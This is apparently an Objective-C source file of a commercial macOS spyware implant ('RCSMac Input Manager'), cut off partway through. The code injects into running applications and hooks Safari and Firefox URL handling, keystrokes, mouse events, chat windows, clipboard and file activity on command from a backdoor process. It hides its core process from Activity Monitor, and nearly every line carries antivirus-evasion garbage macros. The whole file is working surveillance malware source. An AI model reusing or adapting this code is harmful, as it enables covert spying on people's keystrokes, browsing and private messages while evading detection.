/* * RCSMac - Input Manager * * The Input Manager is responsible for loading all the external agents who * needs to be executed in different target processes aka runtime code injection * * The idea is very simple, swizzle a method upon request in order to provide * on-demand hooks. This looks better to me than a static hook always in place * which checks a static variable in order to figure if it needs to log or not. * * * Created by Alfredo 'revenge' Pesoli on 28/04/2009 * Copyright (C) HT srl 2009. All rights reserved * */ #import "RCSMInterface.h" #import #import #import #import #import #import #import #import "mach_override.h" #import "RCSMAgentURL.h" #import "RCSMInputManager.h" #import "RCSMAgentVoipSkype.h" #import "RCSMAgentApplication.h" #import "RCSMAgentFileCapture.h" #import "RCSMLogger.h" #import "RCSMDebug.h" #import "NSProcessInfo+NSProcessInfo__AVEvasion_.h" #import "RCSMAVGarbage.h" extern NSString *class_dump_class(Class class); #define swizzleMethod(c1, m1, c2, m2) do { \ method_exchangeImplementations(class_getInstanceMethod(c1, m1), \ class_getInstanceMethod(c2, m2)); \ } while(0) // // We can't allocate instance variable in factory methods // __m_MSharedMemory *mSharedMemoryCommand; __m_MSharedMemory *mSharedMemoryLogging; int32_t gBackdoorPID = 0; BOOL isAppRunning = YES; BOOL gWantToSyncThroughSafari = NO; //static NSLock *gInputManagerLock; // // flags which specify if we are hooking the given module // 0 - Initial State - No Hook // 1 - Marked for Hooking // 2 - Hook in place // 3 - Marked for Unhooking // static int urlFlag = 0; static int keyboardFlag = 0; static int mouseFlag = 0; static int imFlag = 0; static int clipboardFlag = 0; static int voipFlag = 0; static int appFlag = 0; static int fileFlag = 0; CFArrayRef (*pCGWindowListCopyWindowInfo)(CGWindowListOption, CGWindowID); NSDictionary *getActiveWindowInformationForPID(pid_t pid) { ProcessSerialNumber psn = { 0,0 }; NSDictionary *activeAppInfo; OSStatus success; CFArrayRef windowsList; int windowPID; pid_t activePid; NSNumber *windowID = nil; NSString *processName = nil; NSString *windowName = nil; // Active application on workspace activeAppInfo = [[NSWorkspace sharedWorkspace] activeApplication]; psn.highLongOfPSN = [[activeAppInfo valueForKey: @"NSApplicationProcessSerialNumberHigh"] unsignedIntValue]; psn.lowLongOfPSN = [[activeAppInfo valueForKey: @"NSApplicationProcessSerialNumberLow"] unsignedIntValue]; // Get PID of the active Application(s) if ((success = GetProcessPID(&psn, &activePid)) != 0) return nil; // Window list front to back windowsList = pCGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenAboveWindow, kCGNullWindowID); if (windowsList == NULL) return nil; for (NSMutableDictionary *entry in (NSArray *)windowsList) { windowPID = [[entry objectForKey: (id)kCGWindowOwnerPID] intValue]; if (windowPID == pid) { windowID = [NSNumber numberWithUnsignedInt: [[[entry objectForKey: (id)kCGWindowNumber] retain] unsignedIntValue]]; processName = [[entry objectForKey: (id)kCGWindowOwnerName] copy]; windowName = [[entry objectForKey: (id)kCGWindowName] copy]; break; } } CFRelease(windowsList); if (windowPID != pid) return nil; NSArray *keys = [NSArray arrayWithObjects: @"windowID", @"processName", @"windowName", nil]; NSArray *objects = [NSArray arrayWithObjects: windowID, processName, windowName, nil]; NSDictionary *windowInfo = [[NSDictionary alloc] initWithObjects: objects forKeys: keys]; [processName release]; [windowName release]; [windowID release]; return windowInfo; } // OSAX Eventhandler OSErr InjectEventHandler(const AppleEvent *ev, AppleEvent *reply, long refcon) { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Injected event handler called"); #endif // AV evasion: only on release build AV_GARBAGE_001 OSErr resultCode = noErr; // AV evasion: only on release build AV_GARBAGE_003 AEDesc intDesc = {}; SInt32 value = 0; // AV evasion: only on release build AV_GARBAGE_002 // See if we need to show the print dialog. OSStatus err = AEGetParamDesc(ev, 'pido', typeSInt32, &intDesc); // AV evasion: only on release build AV_GARBAGE_004 if (!err) { err = AEGetDescData(&intDesc, &value, sizeof(SInt32)); #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Received backdoor pid: %ld", value); #endif } // AV evasion: only on release build AV_GARBAGE_005 gBackdoorPID = value; // AV evasion: only on release build AV_GARBAGE_006 #ifdef DEBUG_INPUT_MANAGER verboseLog(@"%s: running __m_eload event handler", __FUNCTION__); #endif return resultCode; } BOOL swizzleByAddingIMP (Class _class, SEL _original, IMP _newImplementation, SEL _newMethod) { #ifdef DEBUG_INPUT_MANAGER const char *name = sel_getName(_original); const char *newName = sel_getName(_newMethod); verboseLog(@"SEL Name: %s", name); verboseLog(@"SEL newName: %s", newName); #endif // AV evasion: only on release build AV_GARBAGE_002 Method methodOriginal = class_getInstanceMethod(_class, _original); // AV evasion: only on release build AV_GARBAGE_009 if (methodOriginal == nil) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Error on class_getInstanceMethod for [%s %s]\n", class_getName(_class), name); #endif return FALSE; } // AV evasion: only on release build AV_GARBAGE_000 const char *type = method_getTypeEncoding(methodOriginal); //IMP old = method_getImplementation(methodOriginal); // AV evasion: only on release build AV_GARBAGE_001 if (!class_addMethod (_class, _newMethod, _newImplementation, type)) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Failed to add our new method - probably already exists"); #endif } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Method added to target class"); #endif } // AV evasion: only on release build AV_GARBAGE_002 Method methodNew = class_getInstanceMethod(_class, _newMethod); if (methodNew == nil) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Method not found after add [%s %s]\n", class_getName(_class), newName); #endif return FALSE; } // AV evasion: only on release build AV_GARBAGE_003 method_exchangeImplementations(methodOriginal, methodNew); // AV evasion: only on release build AV_GARBAGE_004 return TRUE; } @implementation __m_MInputManager + (void)load { #ifdef ENABLE_LOGGING [__m_MLogger setComponent: @"im"]; [__m_MLogger enableProcessNameVisualization: YES]; #endif if (pCGWindowListCopyWindowInfo == NULL) { void *handle = dlopen("/System/Library/Frameworks/CoreGraphics.framework/Versions/Current/CoreGraphics", 2); // for 10.7.x if (handle == NULL) handle = dlopen("/System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/CoreGraphics.framework/Versions/Current/CoreGraphics", 2); if (handle != NULL) { char funcName[256]; sprintf(funcName, "CGWindowList%s%s","Copy", "WindowInfo"); pCGWindowListCopyWindowInfo = dlsym(handle, funcName); } } // AV evasion: only on release build AV_GARBAGE_002 // First thing we need to initialize the shared memory segments NSString *bundleIdentifier = [[NSBundle mainBundle] bundleIdentifier]; NSString *safariId = [NSString stringWithFormat:@"%@.%@.%@", @"com", @"apple", @"safari"]; // AV evasion: only on release build AV_GARBAGE_005 // Init OS numbers [__m_MInputManager getSystemVersionMajor: &gOSMajor minor: &gOSMinor bugFix: &gOSBugFix]; // AV evasion: only on release build AV_GARBAGE_006 // TODO: Use an exclusion list instead of this if ([bundleIdentifier isEqualToString: safariId] == YES) { // AV evasion: only on release build AV_GARBAGE_007 if ([self initSharedMemory] == NO) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Error while creating shared memory"); #endif // AV evasion: only on release build AV_GARBAGE_008 return; } /* [[NSNotificationCenter defaultCenter] addObserver: self selector: @selector(checkForCommands) name: NSApplicationWillTerminateNotification object: nil]; */ // AV evasion: only on release build AV_GARBAGE_003 if ([gUtil isLeopard]) { // AV evasion: only on release build AV_GARBAGE_009 [[NSNotificationCenter defaultCenter] addObserver: self selector: @selector(startThreadCommunicator:) name: NSApplicationWillFinishLaunchingNotification object: nil]; } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"running osax bundle"); #endif // AV evasion: only on release build AV_GARBAGE_002 [NSThread detachNewThreadSelector: @selector(startCoreCommunicator) toTarget: self withObject: nil]; } // AV evasion: only on release build AV_GARBAGE_007 [[NSNotificationCenter defaultCenter] addObserver: self selector: @selector(closeThreadCommunicator:) name: NSApplicationWillTerminateNotification object: nil]; } else if ([bundleIdentifier isEqualToString: @"com.apple.securityagent"] == NO) { if ([self initSharedMemory] == NO) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Error while creating shared memory"); #endif // AV evasion: only on release build AV_GARBAGE_001 return; } else { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Attached to shared memory"); #endif } if ([gUtil isLeopard]) { // AV evasion: only on release build AV_GARBAGE_006 [[NSNotificationCenter defaultCenter] addObserver: self selector: @selector(startThreadCommunicator:) name: NSApplicationWillFinishLaunchingNotification object: nil]; } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"running osax bundle"); #endif // AV evasion: only on release build AV_GARBAGE_002 [NSThread detachNewThreadSelector: @selector(startCoreCommunicator) toTarget: self withObject: nil]; } // AV evasion: only on release build AV_GARBAGE_007 [[NSNotificationCenter defaultCenter] addObserver: self selector: @selector(closeThreadCommunicator:) name: NSApplicationWillTerminateNotification object: nil]; // AV evasion: only on release build AV_GARBAGE_004 } } typedef struct { NSInteger majorVersion; NSInteger minorVersion; NSInteger patchVersion; } MyOperatingSystemVersion; + (void)getSystemVersionMajor: (u_int *)major minor: (u_int *)minor bugFix: (u_int *)bugFix { NSDictionary *Dictionary = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"]; if (Dictionary != nil) { NSString *actualVersion = [Dictionary objectForKey:@"ProductVersion"]; if (actualVersion != nil) { NSString *currVer = nil; NSArray *versionStrings = [actualVersion componentsSeparatedByString:@"."]; int numVersions = [versionStrings count]; currVer = [versionStrings objectAtIndex:0]; *major = atoi([currVer cStringUsingEncoding:NSUTF8StringEncoding]); currVer = [versionStrings objectAtIndex:1]; *minor = atoi([currVer cStringUsingEncoding:NSUTF8StringEncoding]); if (numVersions > 2) { currVer = [versionStrings objectAtIndex:2]; *bugFix = atoi([currVer cStringUsingEncoding:NSUTF8StringEncoding]); } } } else if ([[NSProcessInfo processInfo] respondsToSelector:@selector(operatingSystemVersion)]) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"running NSProcessInfo processInfo"); #endif MyOperatingSystemVersion version = ((MyOperatingSystemVersion(*)(id, SEL))objc_msgSend_stret)([NSProcessInfo processInfo], @selector(operatingSystemVersion)); *major = version.majorVersion; *minor = version.minorVersion; *bugFix = version.patchVersion; return; } else { #ifdef DEBUG_INPUT_MANAGER infoLog(@"running Gestalt Info"); #endif *major = 10; *minor = 0; *bugFix = 0; OSErr err; SInt32 systemVersion, versionMajor, versionMinor, versionBugFix; err = Gestalt(gestaltSystemVersion, &systemVersion); if (err == noErr && systemVersion < 0x1040) { if (major) *major = ((systemVersion & 0xF000) >> 12) * 10 + ((systemVersion & 0x0F00) >> 8); if (minor) *minor = (systemVersion & 0x00F0) >> 4; if (bugFix) *bugFix = (systemVersion & 0x000F); } else { err = Gestalt(gestaltSystemVersionMajor, &versionMajor); err = Gestalt(gestaltSystemVersionMinor, &versionMinor); err = Gestalt(gestaltSystemVersionBugFix, &versionBugFix); if (err == noErr) { if (major) *major = versionMajor; if (minor) *minor = versionMinor; if (bugFix) *bugFix = versionBugFix; } } if (err != noErr) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"%s - Unable to obtain system version: %ld", __FUNCTION__, (long)err); #endif if (major) *major = 10; if (minor) *minor = 0; if (bugFix) *bugFix = 0; } } } + (BOOL)isACrsApp { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; // AV evasion: only on release build AV_GARBAGE_001 NSMutableData *readData; shMemoryCommand *shMemCommand; BOOL retVal = NO; NSProcessInfo *pi = [NSProcessInfo PROCESSINFO_SEL]; // AV evasion: only on release build AV_GARBAGE_002 NSString *appName = [pi processName]; // AV evasion: only on release build AV_GARBAGE_003 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Crisis appName %@", appName); #endif readData = [mSharedMemoryCommand readMemory: OFFT_CRISIS fromComponent: COMP_AGENT]; // AV evasion: only on release build AV_GARBAGE_004 if (readData == nil) return retVal; // AV evasion: only on release build AV_GARBAGE_003 shMemCommand = (shMemoryCommand *)[readData bytes]; // AV evasion: only on release build AV_GARBAGE_005 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Crisis commandData %@", readData); #endif if (shMemCommand->command == AG_START && shMemCommand->commandDataSize) { // AV evasion: only on release build AV_GARBAGE_006 NSData *tmpListData = [[NSData alloc] initWithBytes: shMemCommand->commandData length: shMemCommand->commandDataSize]; // AV evasion: only on release build AV_GARBAGE_007 UInt32 numOfNames; [tmpListData getBytes: &numOfNames length: sizeof(UInt32)]; // AV evasion: only on release build AV_GARBAGE_003 char *tmpPtr = ((char *)[tmpListData bytes]) + sizeof(UInt32); // AV evasion: only on release build AV_GARBAGE_008 for (int i = 0; i < numOfNames; i++) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"crisis_%d: %S", (unichar *)tmpPtr); #endif // AV evasion: only on release build AV_GARBAGE_009 int iLen = _utf16len((unichar*)tmpPtr) * sizeof(unichar); // AV evasion: only on release build AV_GARBAGE_002 NSString *tmpCrisisApp = [[NSString alloc] initWithBytes: tmpPtr length: iLen encoding: NSUTF16LittleEndianStringEncoding]; #ifdef DEBUG_INPUT_MANAGER infoLog(@"AppName %@", tmpCrisisApp); #endif // AV evasion: only on release build AV_GARBAGE_008 if ([appName isCaseInsensitiveLike: tmpCrisisApp]) { // AV evasion: only on release build AV_GARBAGE_005 [tmpCrisisApp release]; // AV evasion: only on release build AV_GARBAGE_003 retVal = YES; break; } // AV evasion: only on release build AV_GARBAGE_000 [tmpCrisisApp release]; // AV evasion: only on release build AV_GARBAGE_001 tmpPtr += iLen; // AV evasion: only on release build AV_GARBAGE_003 tmpPtr += sizeof(unichar); } } // AV evasion: only on release build AV_GARBAGE_003 [pool release]; return retVal; } + (void)startCoreCommunicator { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; // AV evasion: only on release build AV_GARBAGE_000 NSString *bundleIdentifier = [[NSBundle mainBundle] bundleIdentifier]; if ([bundleIdentifier isEqualToString: @"com.apple.ActivityMonitor"] == YES) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting hiding for activity Monitor"); #endif // AV evasion: only on release build AV_GARBAGE_003 #ifndef NO_PROC_HIDING [self hideCoreFromAM]; #endif } // AV evasion: only on release build AV_GARBAGE_001 usleep(500000); // AV evasion: only on release build AV_GARBAGE_002 // Only for leopard if ([gUtil isLeopard]) { // AV evasion: only on release build AV_GARBAGE_003 if ([self isACrsApp]) { // AV evasion: only on release build AV_GARBAGE_004 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Crisis is started and app match exit now!"); #endif return; } } #ifdef DEBUG_INPUT_MANAGER infoLog(@"Core Communicator thread launched"); #endif // AV evasion: only on release build AV_GARBAGE_005 if ([bundleIdentifier isEqualToString: @"com.apple.securityagent"] == YES) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Exiting from security Agent"); #endif // // Avoid to inject into securityagent since we don't need it for now // plus it belongs to root (thus allocating a new shared memory block) // // AV evasion: only on release build AV_GARBAGE_006 return; } // AV evasion: only on release build AV_GARBAGE_007 // // Here we need to start the loop for checking and reading any configuration // change made on the shared memory // while (isAppRunning == YES) { NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init]; [self checkAgentAtOffset: OFFT_URL]; // AV evasion: only on release build AV_GARBAGE_009 [self checkAgentAtOffset: OFFT_APPLICATION]; // AV evasion: only on release build AV_GARBAGE_008 [self checkAgentAtOffset: OFFT_KEYLOG]; // AV evasion: only on release build AV_GARBAGE_007 [self checkAgentAtOffset: OFFT_MOUSE]; // AV evasion: only on release build AV_GARBAGE_006 [self checkAgentAtOffset: OFFT_VOIP]; // AV evasion: only on release build AV_GARBAGE_005 [self checkAgentAtOffset: OFFT_IM]; // AV evasion: only on release build AV_GARBAGE_004 [self checkAgentAtOffset: OFFT_CLIPBOARD]; // AV evasion: only on release build AV_GARBAGE_003 [self checkAgentAtOffset: OFFT_FILECAPTURE]; // AV evasion: only on release build AV_GARBAGE_002 // // Perform swizzle here // if (urlFlag == 1) { urlFlag = 2; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking URLs"); #endif // AV evasion: only on release build AV_GARBAGE_005 // // Safari // usleep(2000000); // AV evasion: only on release build AV_GARBAGE_004 // Safari up to 5.0 Class className = objc_getClass("BrowserWindowControllerMac"); // AV evasion: only on release build AV_GARBAGE_001 Class classSource = objc_getClass(kMyBrowserWindowController); // AV evasion: only on release build AV_GARBAGE_002 BOOL isSafariPrior51 = NO; // AV evasion: only on release build AV_GARBAGE_003 if (className == nil) { className = objc_getClass("BrowserWindowController"); // AV evasion: only on release build AV_GARBAGE_004 if (className != nil) isSafariPrior51 = YES; } if (className != nil) { // AV evasion: only on release build AV_GARBAGE_005 URLStartAgent(); // AV evasion: only on release build AV_GARBAGE_003 if (isSafariPrior51) { #ifdef DEBUG_INPUT_MANAGER warnLog(@"Safari < 5.1 (hook)"); #endif // AV evasion: only on release build AV_GARBAGE_006 swizzleByAddingIMP (className, @selector(webFrameLoadCommitted:), class_getMethodImplementation(classSource, @selector(webFrameLoadCommittedHook:)), @selector(webFrameLoadCommittedHook:)); // AV evasion: only on release build AV_GARBAGE_004 } else { #ifdef DEBUG_INPUT_MANAGER warnLog(@"Safari >= 5.1 (hook)"); #endif // AV evasion: only on release build AV_GARBAGE_003 swizzleByAddingIMP (className, @selector(_setLocationFieldText:), class_getMethodImplementation(classSource, @selector(_setLocationFieldTextHook:)), @selector(_setLocationFieldTextHook:)); // AV evasion: only on release build AV_GARBAGE_002 swizzleByAddingIMP (className, @selector(closeCurrentTab:), class_getMethodImplementation(classSource, @selector(closeCurrentTabHook:)), @selector(closeCurrentTabHook:)); // AV evasion: only on release build AV_GARBAGE_001 swizzleByAddingIMP (className, @selector(didSelectTabViewItem), class_getMethodImplementation(classSource, @selector(didSelectTabViewItemHook)), @selector(didSelectTabViewItemHook)); // AV evasion: only on release build AV_GARBAGE_000 Class BrowserWindowClass = objc_getClass("BrowserWindow"); // AV evasion: only on release build AV_GARBAGE_005 if (BrowserWindowClass != nil) { // AV evasion: only on release build AV_GARBAGE_007 swizzleByAddingIMP (BrowserWindowClass, @selector(setTitle:), class_getMethodImplementation(classSource, @selector(setTitleHook:)), @selector(setTitleHook:)); // AV evasion: only on release build AV_GARBAGE_005 } /* * for Safari 6.x only */ Class LocationTextFieldClass = objc_getClass("LocationTextField"); // AV evasion: only on release build AV_GARBAGE_004 if (LocationTextFieldClass != nil) { // AV evasion: only on release build AV_GARBAGE_003 swizzleByAddingIMP (LocationTextFieldClass, @selector(_drawTopLocationTextField:), class_getMethodImplementation(classSource, @selector(_drawTopLocationTextFieldHook:)), @selector(_drawTopLocationTextFieldHook:)); } /* * for Safari 7.x only */ Class BrowserContentViewControllerObjCAdapterClass = objc_getClass("BrowserContentViewControllerObjCAdapter"); // AV evasion: only on release build AV_GARBAGE_005 if (BrowserContentViewControllerObjCAdapterClass != nil) { // AV evasion: only on release build AV_GARBAGE_007 swizzleByAddingIMP (BrowserContentViewControllerObjCAdapterClass, @selector(expectedOrCurrentURL), class_getMethodImplementation(classSource, @selector(expectedOrCurrentURLHook)), @selector(expectedOrCurrentURLHook)); // AV evasion: only on release build AV_GARBAGE_005 } } } else { #ifdef DEBUG_INPUT_MANAGER warnLog(@"URL - not the right application, skipping"); #endif } // End of Safari // AV evasion: only on release build AV_GARBAGE_003 // // Firefox 3 - Massimo Chiodini // NSString *applicationName = [[[NSBundle mainBundle] bundlePath] lastPathComponent]; // AV evasion: only on release build AV_GARBAGE_002 NSString *firefoxAppName = [[NSString alloc] initWithUTF8String: "Firefox.app"]; // AV evasion: only on release build AV_GARBAGE_001 NSComparisonResult result = [firefoxAppName compare: applicationName options: NSCaseInsensitiveSearch range: NSMakeRange(0, [applicationName length]) locale: [NSLocale currentLocale]]; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Comparing %@ vs. %@ (%d)", applicationName, firefoxAppName, result); #endif // AV evasion: only on release build AV_GARBAGE_006 if (result == NSOrderedSame) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking fairfocs baby!"); #endif // AV evasion: only on release build AV_GARBAGE_006 Class className = objc_getClass("NSWindow"); // AV evasion: only on release build AV_GARBAGE_007 swizzleMethod(className, @selector(setTitle:), className, @selector(setTitleHook:)); // AV evasion: only on release build AV_GARBAGE_004 } // AV evasion: only on release build AV_GARBAGE_006 [firefoxAppName release]; // End of Firefox 3 } else if (urlFlag == 3) { urlFlag = 0; // AV evasion: only on release build AV_GARBAGE_003 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Unhooking URLs"); #endif Class className = objc_getClass("BrowserWindowControllerMac"); // AV evasion: only on release build AV_GARBAGE_009 BOOL isSafariPrior51 = NO; // AV evasion: only on release build AV_GARBAGE_005 if (className == nil) { // AV evasion: only on release build AV_GARBAGE_001 className = objc_getClass("BrowserWindowController"); // AV evasion: only on release build AV_GARBAGE_004 if (className != nil) isSafariPrior51 = YES; } // AV evasion: only on release build AV_GARBAGE_002 if (className != nil) { // AV evasion: only on release build AV_GARBAGE_009 if (isSafariPrior51) { #ifdef DEBUG_INPUT_MANAGER warnLog(@"Safari < 5.1 (unhook)"); #endif // AV evasion: only on release build AV_GARBAGE_008 swizzleMethod(className, @selector(webFrameLoadCommitted:), className, @selector(webFrameLoadCommittedHook:)); } else { #ifdef DEBUG_INPUT_MANAGER warnLog(@"Safari >= 5.1 (unhook)"); #endif // AV evasion: only on release build AV_GARBAGE_007 swizzleMethod(className, @selector(_setLocationFieldText:), className, @selector(_setLocationFieldTextHook:)); // AV evasion: only on release build AV_GARBAGE_008 swizzleMethod(className, @selector(closeCurrentTab:), className, @selector(closeCurrentTabHook:)); // AV evasion: only on release build AV_GARBAGE_009 swizzleMethod(className, @selector(didSelectTabViewItem), className, @selector(didSelectTabViewItemHook)); // AV evasion: only on release build AV_GARBAGE_002 Class BrowserWindowClass = objc_getClass("BrowserWindow"); // AV evasion: only on release build AV_GARBAGE_005 if (BrowserWindowClass != nil) { // AV evasion: only on release build AV_GARBAGE_007 swizzleMethod(BrowserWindowClass, @selector(setTitle:), BrowserWindowClass, @selector(setTitleHook:)); // AV evasion: only on release build AV_GARBAGE_005 } /* * for Safari 6.x only */ Class LocationTextFieldClass = objc_getClass("LocationTextField"); // AV evasion: only on release build AV_GARBAGE_004 if (LocationTextFieldClass != nil) { // AV evasion: only on release build AV_GARBAGE_003 swizzleMethod(LocationTextFieldClass, @selector(_drawTopLocationTextField:), LocationTextFieldClass, @selector(_drawTopLocationTextFieldHook:)); // AV evasion: only on release build AV_GARBAGE_007 } /* * for Safari 7.x only */ // AV evasion: only on release build AV_GARBAGE_004 Class BrowserContentViewControllerObjCAdapterClass = objc_getClass("BrowserContentViewControllerObjCAdapter"); // AV evasion: only on release build AV_GARBAGE_005 if (BrowserContentViewControllerObjCAdapterClass != nil) { // AV evasion: only on release build AV_GARBAGE_003 swizzleMethod(BrowserContentViewControllerObjCAdapterClass, @selector(expectedOrCurrentURL), BrowserContentViewControllerObjCAdapterClass, @selector(expectedOrCurrentURLHook)); // AV evasion: only on release build AV_GARBAGE_007 } } } else { #ifdef DEBUG_INPUT_MANAGER warnLog(@"URL - not the right application, skipping"); #endif } // AV evasion: only on release build AV_GARBAGE_002 // firefox 3 NSString *application_name = [[[NSBundle mainBundle] bundlePath] lastPathComponent]; // AV evasion: only on release build AV_GARBAGE_001 NSString *firefox_app = [[NSString alloc] initWithUTF8String: "Firefox.app"]; // AV evasion: only on release build AV_GARBAGE_008 NSRange strRange; strRange.location = 0; // AV evasion: only on release build AV_GARBAGE_003 strRange.length = [application_name length]; // AV evasion: only on release build AV_GARBAGE_007 NSComparisonResult firefox_res = [firefox_app compare: application_name options: NSCaseInsensitiveSearch range: strRange locale: [NSLocale currentLocale]]; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Comparing %@ vs. %@ (%d)", application_name, firefox_app, firefox_res); #endif // AV evasion: only on release build AV_GARBAGE_009 if (firefox_res == NSOrderedSame) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking fairfocs baby!"); #endif // AV evasion: only on release build AV_GARBAGE_006 Class className = objc_getClass("NSWindow"); // AV evasion: only on release build AV_GARBAGE_005 swizzleMethod(className, @selector(setTitle:), className, @selector(setTitleHook:)); } // AV evasion: only on release build AV_GARBAGE_004 [firefox_app release]; } // AV evasion: only on release build AV_GARBAGE_003 if (appFlag == 1) { // AV evasion: only on release build AV_GARBAGE_001 appFlag = 2; // AV evasion: only on release build AV_GARBAGE_003 __m_MAgentApplication *appAgent = [__m_MAgentApplication sharedInstance]; // AV evasion: only on release build AV_GARBAGE_002 [appAgent start]; // AV evasion: only on release build AV_GARBAGE_005 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking Application agent"); #endif } else if (appFlag == 3) { // AV evasion: only on release build AV_GARBAGE_007 appFlag = 0; // AV evasion: only on release build AV_GARBAGE_006 __m_MAgentApplication *appAgent = [__m_MAgentApplication sharedInstance]; // AV evasion: only on release build AV_GARBAGE_008 [appAgent stop]; // AV evasion: only on release build AV_GARBAGE_009 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Application agent"); #endif } // AV evasion: only on release build AV_GARBAGE_002 if (keyboardFlag == 1) { keyboardFlag = 2; // AV evasion: only on release build AV_GARBAGE_003 keylogAgentIsActive = 1; // AV evasion: only on release build AV_GARBAGE_004 Class className = objc_getClass("NSWindow"); // AV evasion: only on release build AV_GARBAGE_005 if (mouseFlag == 0 || mouseAgentIsActive == 0) { #ifdef DEBUG_INPUT_MANAGER NSLog(@"Hooking keyboard"); #endif // AV evasion: only on release build AV_GARBAGE_006 swizzleMethod(className, @selector(hookKeyboardAndMouse:), className, @selector(sendEvent:)); // AV evasion: only on release build AV_GARBAGE_007 } else { #ifdef DEBUG_INPUT_MANAGER warnLog(@"Method already hooked for key/mouse"); #endif } // AV evasion: only on release build AV_GARBAGE_004 swizzleMethod(className, @selector(becomeKeyWindowHook), className, @selector(becomeKeyWindow)); // AV evasion: only on release build AV_GARBAGE_009 swizzleMethod(className, @selector(resignKeyWindowHook), className, @selector(resignKeyWindow)); } else if (keyboardFlag == 3) { // AV evasion: only on release build AV_GARBAGE_001 keyboardFlag = 0; // AV evasion: only on release build AV_GARBAGE_002 keylogAgentIsActive = 0; // AV evasion: only on release build AV_GARBAGE_008 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Unhooking keyboard"); #endif Class className = objc_getClass("NSWindow"); // AV evasion: only on release build AV_GARBAGE_003 if (mouseFlag == 0) { // AV evasion: only on release build AV_GARBAGE_004 swizzleMethod(className, @selector(hookKeyboardAndMouse:), className, @selector(sendEvent:)); } // AV evasion: only on release build AV_GARBAGE_007 swizzleMethod(className, @selector(becomeKeyWindowHook), className, @selector(becomeKeyWindow)); // AV evasion: only on release build AV_GARBAGE_006 swizzleMethod(className, @selector(resignKeyWindowHook), className, @selector(resignKeyWindow)); // AV evasion: only on release build AV_GARBAGE_000 } if (mouseFlag == 1) { // AV evasion: only on release build AV_GARBAGE_003 mouseFlag = 2; // AV evasion: only on release build AV_GARBAGE_002 mouseAgentIsActive = 1; // AV evasion: only on release build AV_GARBAGE_008 Class className = objc_getClass("NSWindow"); // AV evasion: only on release build AV_GARBAGE_007 if (keyboardFlag == 0 || keylogAgentIsActive == 0) { #ifdef DEBUG_INPUT_MANAGER NSLog(@"Hooking mouse"); #endif // AV evasion: only on release build AV_GARBAGE_002 swizzleMethod(className, @selector(hookKeyboardAndMouse:), className, @selector(sendEvent:)); // AV evasion: only on release build AV_GARBAGE_004 } else { #ifdef DEBUG_INPUT_MANAGER warnLog(@"Method already hooked for mouse/key"); #endif } } else if (mouseFlag == 3) { mouseFlag = 0; // AV evasion: only on release build AV_GARBAGE_009 mouseAgentIsActive = 0; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Unhooking mouse"); #endif // AV evasion: only on release build AV_GARBAGE_006 if (keyboardFlag == 0) { // AV evasion: only on release build AV_GARBAGE_001 Class className = objc_getClass("NSWindow"); // AV evasion: only on release build AV_GARBAGE_003 swizzleMethod(className, @selector(hookKeyboardAndMouse:), className, @selector(sendEvent:)); // AV evasion: only on release build AV_GARBAGE_001 } } // AV evasion: only on release build AV_GARBAGE_005 if (imFlag == 1) { // AV evasion: only on release build AV_GARBAGE_001 imFlag = 2; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking IMs"); #endif // AV evasion: only on release build AV_GARBAGE_003 Class className; Class classSource; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Try to hook: %@", bundleIdentifier); #endif if ([bundleIdentifier isEqualToString: @"com.microsoft.Messenger"]) { // AV evasion: only on release build AV_GARBAGE_002 // Microsoft Messenger className = objc_getClass("IMWebViewController"); // AV evasion: only on release build AV_GARBAGE_003 classSource = objc_getClass(kMyIMWebViewController); // AV evasion: only on release build AV_GARBAGE_005 swizzleByAddingIMP(className, @selector(ParseAndAppendUnicode:inLength:inStyle:fIndent:fParseEmoticons:fParseURLs:inSenderName:fLocalUser:), class_getMethodImplementation(classSource, @selector(ParseAndAppendUnicodeHook:inLength:inStyle:fIndent:fParseEmoticons:fParseURLs:inSenderName:fLocalUser:)), @selector(ParseAndAppendUnicodeHook:inLength:inStyle:fIndent:fParseEmoticons:fParseURLs:inSenderName:fLocalUser:)); // AV evasion: only on release build AV_GARBAGE_001 className = objc_getClass("IMWindowController"); // AV evasion: only on release build AV_GARBAGE_002 classSource = objc_getClass(kMyIMWindowController); // AV evasion: only on release build AV_GARBAGE_003 swizzleByAddingIMP(className, @selector(SendMessage:cchText:inHTML:), class_getMethodImplementation(classSource, @selector(SendMessageHook:cchText:inHTML:)), @selector(SendMessageHook:cchText:inHTML:)); // AV evasion: only on release build AV_GARBAGE_004 } else if([bundleIdentifier isEqualToString: @"com.skype.skype"] && isSkypeVersionSupported()) { // AV evasion: only on release build AV_GARBAGE_007 #ifdef DEBUG_INPUT_MANAGER 